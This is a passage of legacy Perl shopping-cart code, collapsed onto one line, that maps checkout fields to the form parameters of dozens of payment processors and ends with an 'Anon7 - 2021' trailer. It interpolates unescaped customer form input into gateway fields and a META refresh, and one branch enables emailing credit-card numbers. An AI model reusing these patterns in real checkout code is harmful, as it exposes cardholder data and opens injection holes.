"$bizname$extra_description"; $MerchantFont = "$invoice"; $MerchantFontColor = "PAYMENT_FORM"; $MerchantUnApprovedURL = "$lang[84]"; @temp = (); ($FORM{'name2'},@temp) = split(/ /,$FORM{'name2'}); if (@temp) { $MerchantBgrdColor = "@temp"; } else { $MerchantBgrdColor = "$FORM{'name2'}"; } $secure_field[20] = "DISABLERECEIPT"; $custom_processor_field[1] = "TRUE"; $secure_field[21] = "x_Version"; $custom_processor_field[2] = "3.0"; $secure_field[22] = "x_Header_Html_Receipt"; $custom_processor_field[3] = "<META HTTP-EQUIV=REFRESH CONTENT=0;URL=$MerchantApprovedURL>"; $secure_field[23] = "x_company"; $custom_processor_field[4] = "$FORM{'company2'}"; if ( $card_types =~ /^(ao)$/i ) { $secure_field[24] = "x_Type"; $custom_processor_field[5] = "AUTH_ONLY"; } } elsif ( ( $path5 =~ /(secure\.authorize\.net)/i || $path5 =~ /(secure.quickcommerce.net)/i ) && $never == 100000 ) { @secure_field = ("", "x_Amount", "x_Description", "x_Login", "x_Merchant_Email", "x_Invoice_Num", "x_Show_Form", "x_Last_Name", "x_ADC_URL", "failureURL", "x_Cust_ID", "x_First_Name", "x_Address", "x_City", "x_State", "x_Zip", "x_Country", "x_Phone", "x_Email", "MerchantReturnURL"); &put_item_names_together; $bizname = "$bizname$extra_description"; $MerchantFont = "$invoice"; $MerchantFontColor = "PAYMENT_FORM"; $MerchantUnApprovedURL = "$lang[84]"; ($FORM{'name2'},$MerchantBgrdColor) = split(/ /,$FORM{'name2'}); if (!$MerchantBgrdColor) { $MerchantBgrdColor = "$FORM{'name2'}"; } $secure_field[20] = "x_Version"; $custom_processor_field[1] = "3.0"; $secure_field[21] = "x_ADC_Relay_Response"; $custom_processor_field[2] = "TRUE"; $secure_field[22] = "USER1"; $custom_processor_field[3] = "$invoice"; } elsif ( $path5 =~ /(www\.1internetave\.com)/i ) { @secure_field = ("", "sessionID", "MerchantName", "customerID", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "MerchantApprovedURL", "MerchantUnApprovedURL", "ref_num", "name", "address", "city", "state", "zip", "BillCountry", "BillPhone", "BillEmail"); $total *= 10000; $total += 2561024512; } elsif ( $path5 =~ /(internetsecure\.com)/i ) { @secure_field = ("", "Products", "MerchantName", "MerchantNumber", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "ReturnURL", "unapproved", "customerid", "xxxName", "xxxAddress", "xxxCity", "xxxProvince", "xxxPostal", "xxxCountry", "xxxPhone", "xxxEmail"); &put_item_names_together2; $total = "$extra_description"; $secure_field[50] = "xxxCompany"; } elsif ( $path5 =~ /(ctrldvcs\.com)/i ) { @secure_field = ("", "fulltotal", "MerchantName", "MerchantID", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "MerchantApprovedURL", "MerchantUnApprovedURL", "customerid", "BillName", "BillStreet", "BillCity", "BillState", "BillZip", "BillCountry", "BillPhone", "BillEmail"); } elsif ( $path5 =~ /(commercepay\.com)/i ) { @secure_field = ("", "amount", "MerchantName", "cpid", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "resulturl", "MerchantUnApprovedURL", "orderid", "name", "address", "city", "state", "zip", "country", "user1", "custemail"); $invoice =~ s/ //g; $invoice =~ s/-//g; } elsif ( $path5 =~ /(secure\.vanserv\.com)/i  ) { @secure_field = ("", "P", "N", "MID", "MerchantEmail", "T", "Q", "D", "MerchantApprovedURL", "MerchantUnApprovedURL", "customerid", "BillName", "BillStreet", "BillCity", "BillState", "BillZip", "BillCountry", "BillPhone", "BillEmail"); &put_item_names_together; $MerchantFont = "No"; $MerchantFontColor = "1"; ($bizname,$MerchantBgrdColor) = split(/\:/,$bizname); } elsif ( $path5 =~ /(www\.eft\.com)/i  ) { @secure_field = ("", "Submit_Amount", "Submit_Description", "Submit_MerchantID", "MerchantEmail", "Submit_Response_Action", "Submit_Text_Color", "Submit_Back_Color", "Submit_ReturnURL_Approved", "Submit_ReturnURL_Declined", "customerid", "BillName", "BillStreet", "BillCity", "BillState", "BillZip", "BillCountry", "BillPhone", "BillEmail", "MerchantReturnURL"); &put_item_names_together; $MerchantFont = "POST"; } elsif ( $path5 =~ /(\.anacom\.com)/i ) { @secure_field = ("", "fulltotal", "MerchantName", "MerchantID", "NotifyEmail", "direct", "MerchantFontColor", "MerchantBgrdColor", "returnlink", "MerchantUnApprovedURL", "ordernumber", "ccname", "baddress", "bcity", "bstate", "bzip", "bcountry", "bphone", "email", "MerchantReturnURL"); $MerchantFont = "no"; } elsif ( $path5 =~ /(nobil\.com)/i ) { @secure_field = ("", "amt", "MerchantName", "merchID", "MerchantEmail", "NSUBMIT", "MerchantFontColor", "MerchantBgrdColor", "successurl", "failurl", "mtID", "BillName", "BillStreet", "BillCity", "BillState", "BillZip", "BillCountry", "BillPhone", "BillEmail", "MerchantReturnURL"); $MerchantFont = "Submit"; $total =~ s/ //g; } elsif ( $path5 =~ /(e-plastic\.com)/i ) { @secure_field = ("", "amount", "MerchantName", "merchantID", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "MerchantApprovedURL", "MerchantUnApprovedURL", "orderID", "billName", "shipAddress", "shipCity", "shipState", "shipZip", "shipCountry", "BillPhone", "BillEmail", "MerchantReturnURL"); } elsif ( $path5 =~ /(secureweb\.outreach\.com)/i ) { @secure_field = ("", "chargetotal", "MerchantName", "storename", "MerchantEmail", "mode", "MerchantFontColor", "MerchantBgrdColor", "MerchantApprovedURL", "MerchantUnApprovedURL", "oid", "BillName", "BillStreet", "BillCity", "BillState", "BillZip", "BillCountry", "BillPhone", "BillEmail", "MerchantReturnURL"); $MerchantFont = "payonly"; } elsif ( $path5 =~ /(\?atsbank)/i ) { @secure_field = ("", "amount", "MerchantName", "atsid", "MerchantEmail", "action", "MerchantFontColor", "MerchantBgrdColor", "accepturl", "declineurl", "customerid", "ccname", "BillStreet", "BillCity", "BillState", "BillZip", "BillCountry", "BillPhone", "BillEmail", "MerchantReturnURL"); $total =~ s/ //g; } elsif ( $path5 =~ /(merchantonline\.com)/i ) { @secure_field = ("", "trans_amount", "ALIAS", "account", "MerchantEmail", "mode", "lastname", "MerchantBgrdColor", "next_url", "MerchantUnApprovedURL", "username", "firstname", "address1", "city", "state", "zip", "country", "home_phone", "email", "MerchantReturnURL"); $MerchantFont = "remote"; ($FORM{'name2'},$MerchantFontColor) = split(/ /,$FORM{'name2'}); if (!$MerchantFontColor) { $MerchantFontColor = "$FORM{'name2'}"; } $secure_field[20] = "user1"; $custom_processor_field[1] = "POST"; $secure_field[21] = "passthru1"; $custom_processor_field[2] = "$shopper_id"; } elsif ( $path5 =~ /(secureweb\.clearcommerce\.com)/i || $path5 =~ /(linkpt\.net)/i ) { @secure_field = ("", "chargetotal", "bcompany", "storename", "MerchantEmail", "mode", "MerchantFontColor", "MerchantBgrdColor", "MerchantApprovedURL", "MerchantUnApprovedURL", "oid", "bname", "baddr1", "bcity", "bstate", "bzip", "bcountry", "phone", "email", "MerchantReturnURL"); $MerchantFont = "payplus"; $MerchantFont = "payonly"; $secure_field[20] = "bstate2"; $custom_processor_field[1] = "$FORM{'state2'}"; $secure_field[21] = "bcountry2"; $custom_processor_field[2] = "$FORM{'country2'}"; $secure_field[22] = "sstate2"; $custom_processor_field[3] = "$FORM{'state2'}"; $secure_field[23] = "scountry2"; $custom_processor_field[4] = "$FORM{'country2'}"; } elsif ( $path5 =~ /(secure\.redi-check\.com)/i || $path5 =~ /(itransact\.com)/i ) { @secure_field = ("", "1-cost", "mername", "vendor_id", "1-qty", "acceptcards", "ret_mode", "last_name", "ret_addr", "MerchantUnApprovedURL", "1-desc", "first_name", "address", "city", "state", "zip", "country", "phone", "email", "home_page"); $MerchantFont = "1"; if ( $card_types !~ /^(post)$/i && $card_types !~ /^(redirect)$/i && $card_types ne "" ) { $MerchantFontColor = "redirect"; } else { $MerchantFontColor = "$card_types"; } ($FORM{'name2'},$MerchantBgrdColor) = split(/ /,$FORM{'name2'}); if (!$MerchantBgrdColor) { $MerchantBgrdColor = "$FORM{'name2'}"; } $invoice = "$lang[57]"; $email_cc_numbers = "1"; $total =~ s/ //g; if ($ssl_target_page) { $cambist_back = "$ssl_target_page"; } else { $cambist_back = "$path4"; } } elsif ( $path5 =~ /(ValidCheck\.com)/i ) { @secure_field = ("", "TA", "MerchantName", "VID", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "MerchantApprovedURL", "MerchantUnApprovedURL", "customerid", "BillName", "BillStreet", "BillCity", "BillState", "BillZip", "BillCountry", "BillPhone", "BillEmail", "MerchantReturnURL"); $MerchantID = "$i_check_id"; } elsif ( $path5 =~ /(secure\.gorealtime\.com)/i ) { @secure_field = ("", "Amount", "MerchantName", "EPP_ID", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "ReturnURL", "ReturnURL_FALSE", "InvoiceNum", "buyerName", "buyerAdd1", "buyerCity", "buyerST", "buyerZIP", "BillCountry", "BillPhone", "buyerEmail", "MerchantReturnURL"); } elsif ( $path5 =~ /(secure\.bises\.org)/i ) { @secure_field = ("", "fee", "MerchantName", "client", "cliemail", "rn1", "MerchantFontColor", "MerchantBgrdColor", "url", "MerchantUnApprovedURL", "refno1", "name", "addr", "city", "state", "code", "country", "phone", "email", "MerchantReturnURL"); $MerchantFont = "d"; $FORM{'address2'} .= "\n$FORM{'city2'}\n$FORM{'state2'}\n$FORM{'zip2'}\n$FORM{'country2'}"; } elsif ( $path5 =~ /(secpay\.com)/i ) { @secure_field = ("", "amount", "MerchantName", "merchant", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "callback", "MerchantUnApprovedURL", "trans_id", "customer", "BillStreet", "BillCity", "BillState", "BillZip", "BillCountry", "BillPhone", "shipping", "MerchantReturnURL"); } elsif ( $path5 =~ /(paymentprocessor\.net)/i ) { @secure_field = ("", "AMOUNT", "DESCRIPTION", "LOGIN", "", "INVOICE", "USER1", "DISABLERECEIPT", "ApprovalURL", "DeclinedURL", "CUSTID", "NAME", "ADDRESS", "CITY", "STATE", "ZIP", "COUNTRY", "PHONE", "EMAIL"); &put_item_names_together; $bizname = "$bizname$extra_description"; ($MerchantFontColor,$MerchantFont) = split(/\-/,$invoice); if ($invoice =~ /\-/) { ($trash,$invoice) = split(/\-/,$invoice); } $invoice =~ s/ //g; $MerchantFontColor =~ s/ //g; $MerchantBgrdColor = "TRUE"; } elsif ( $path5 =~ /(chargesolutions\.com)/i ) { @secure_field = ("", "trans_amount", "ALIAS", "merchant_account", "MerchantEmail", "BASEFONT", "user1", "mode", "next_url", "MerchantUnApprovedURL", "username", "firstname", "address1", "city", "state", "zip", "country", "home_phone", "email", "lastname"); $MerchantFontColor = "remote"; $MerchantBgrdColor = "remote"; ($FORM{'name2'},$cambist_back) = split(/ /,$FORM{'name2'}); if (!$cambist_back) { $cambist_back = "$FORM{'name2'}"; } } elsif ( $path5 =~ /(mydirectpay\.cgi)/i ) { @secure_field = ("", "price", "MerchantName", "STORE_NAME", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "fulfillment_url", "failure_url", "order_id", "card_name", "card_address", "card_city", "card_state", "card_zip", "card_country", "card_phone", "card_email", "MerchantReturnURL"); } elsif ( $path5 =~ /(gochargeit\.com)/i ) { @secure_field = ("", "AMOUNT", "F_DESC", "route", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "MerchantApprovedURL", "MerchantUnApprovedURL", "F_TICKET", "F_CCNAME", "F_CCADDR", "F_CCCITY", "F_CCSTATE", "F_CCZIP", "BillCountry", "BillPhone", "f_email", "MerchantReturnURL"); } elsif ( $path5 =~ /(creditnet\.com)/i ) { @secure_field = ("", "trans_amount", "ALIAS", "account", "MerchantEmail", "BASEFONT", "user1", "mode", "next_url", "MerchantUnApprovedURL", "username", "firstname", "address1", "city", "state", "zip", "country", "home_phone", "email", "lastname"); $MerchantFontColor = "remote"; $MerchantBgrdColor = "remote"; ($FORM{'name2'},$cambist_back) = split(/ /,$FORM{'name2'}); if (!$cambist_back) { $cambist_back = "$FORM{'name2'}"; } $secure_field[50] = "company"; } elsif ( $path5 =~ /(signio\.com)/i ) { @secure_field = ("", "AMOUNT", "ALIAS", "LOGIN", "MerchantEmail", "mode", "lastname", "MerchantBgrdColor", "MerchantApprovedURL", "MerchantUnApprovedURL", "INVOICE", "NAME", "ADDRESS", "CITY", "STATE", "ZIP", "COUNTRY", "PHONE", "EMAIL", "MerchantReturnURL"); $secure_field[20] = "MFCIsapiCommand"; $custom_processor_field[1] = "orders"; $secure_field[21] = "TYPE"; $custom_processor_field[2] = "AUTH_CAPTURE"; $secure_field[22] = "METHOD"; $custom_processor_field[3] = "CC"; if ( $FORM{'purpose2'} eq "check_transfer" ) { $secure_field[22] = "METHOD"; $custom_processor_field[3] = "ECHECK"; } } elsif ( $path5 =~ /(intermedia\.com\.pe)/i ) { @secure_field = ("", "precio", "descripcion", "cod", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "final", "retorno", "customerid", "BillName", "BillStreet", "BillCity", "BillState", "BillZip", "BillCountry", "BillPhone", "BillEmail", "MerchantReturnURL", "", "", "", "", ""); $secure_field[50] = "company"; $secure_field[20] = "editable"; $custom_processor_field[1] = "no"; $secure_field[21] = "cantidad"; $custom_processor_field[2] = "1"; $secure_field[22] = "moneda"; $custom_processor_field[3] = "1"; $secure_field[23] = "especial"; $custom_processor_field[4] = "no"; $processor_post_method = "GET"; } else { @secure_field = ("", "fulltotal", "MerchantName", "MerchantID", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "MerchantApprovedURL", "MerchantUnApprovedURL", "customerid", "BillName", "BillStreet", "BillCity", "BillState", "BillZip", "BillCountry", "BillPhone", "BillEmail", "MerchantReturnURL", "", "", "", "", ""); $secure_field[50] = "company"; } }

Anon7 - 2021